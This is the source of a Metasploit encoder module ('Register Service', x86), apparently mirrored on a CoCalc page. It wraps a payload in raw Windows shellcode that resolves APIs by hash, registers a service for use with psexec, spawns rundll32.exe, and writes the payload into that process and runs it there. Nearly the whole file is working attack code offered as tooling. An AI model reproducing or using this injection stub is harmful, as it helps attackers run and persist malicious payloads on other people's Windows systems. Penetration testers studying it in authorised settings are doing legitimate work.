CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/encoders/x86/service.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'metasm'
7
8
class MetasploitModule < Msf::Encoder
9
10
Rank = ManualRanking
11
12
def initialize
13
super(
14
'Name' => 'Register Service',
15
'Version' => '$Revision: 14774 $',
16
'Description' => 'Register service if used with psexec for example',
17
'Author' => 'agix',
18
'Arch' => ARCH_X86,
19
'License' => MSF_LICENSE,
20
'EncoderType' => Msf::Encoder::Type::Raw
21
)
22
end
23
24
@@cpu32 = Metasm::Ia32.new
25
def assemble(src, cpu=@@cpu32)
26
Metasm::Shellcode.assemble(cpu, src).encode_string
27
end
28
29
def can_preserve_registers?
30
true
31
end
32
33
def modified_registers
34
[]
35
end
36
37
def preserves_stack?
38
true
39
end
40
41
def string_to_pushes(string)
42
str = string.dup
43
# Align string to 4 bytes
44
rem = (str.length) % 4
45
if rem > 0
46
str << "\x00" * (4 - rem)
47
pushes = ''
48
else
49
pushes = "h\x00\x00\x00\x00"
50
end
51
# string is now 4 bytes aligned with null byte
52
53
# push string to stack, starting at the back
54
while str.length > 0
55
four = 'h'+str.slice!(-4,4)
56
pushes << four
57
end
58
59
pushes
60
end
61
62
def encode_block(state, block)
63
nb_iter = rand(0x2fffffff)+0xfffffff
64
65
push_registers = ''
66
pop_registers = ''
67
if datastore['SaveRegisters']
68
datastore['SaveRegisters'].split(" ").each { |reg|
69
push_registers += assemble("push %s"%reg)
70
pop_registers = assemble("pop %s"%reg) + pop_registers
71
}
72
end
73
74
name = ENV['MSF_SERVICENAME']
75
name ||= Rex::Text.rand_text_alpha(8)
76
pushed_service_name = string_to_pushes(name)
77
78
precode_size = 0xc6
79
svcmain_code_offset = precode_size + pushed_service_name.length
80
81
precode_size = 0xcc
82
hash_code_offset = precode_size + pushed_service_name.length
83
84
precode_size = 0xbf
85
svcctrlhandler_code_offset = precode_size + pushed_service_name.length
86
87
code_service_stopped =
88
"\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" +
89
"#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" +
90
"\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" +
91
"\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" +
92
"\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
93
94
precode_size = 0x42
95
shellcode_code_offset = code_service_stopped.length + precode_size
96
97
# code_service could be encoded in the future
98
code_service =
99
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
100
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
101
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
102
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
103
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
104
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
105
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
106
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
107
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
108
"\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
109
"\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" +
110
"\x8D\x85#{[svcmain_code_offset].pack('I<')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
111
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
112
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
113
"#{[hash_code_offset].pack('I<') + pushed_service_name}\x89\xE1\x8D" +
114
"\x85#{[svcctrlhandler_code_offset].pack('I<')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
115
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
116
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
117
"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
118
"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
119
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
120
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
121
"\x40\x68\x00\x10\x00\x00\x68#{[block.length].pack('I<')}\x57\x51\x68\xAE\x87" +
122
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
123
"#{[shellcode_code_offset].pack('I<')}\x54\x68#{[block.length].pack('I<')}" +
124
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
125
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
126
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
127
"\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}"
128
129
return push_registers + code_service + pop_registers + block
130
end
131
end
132
133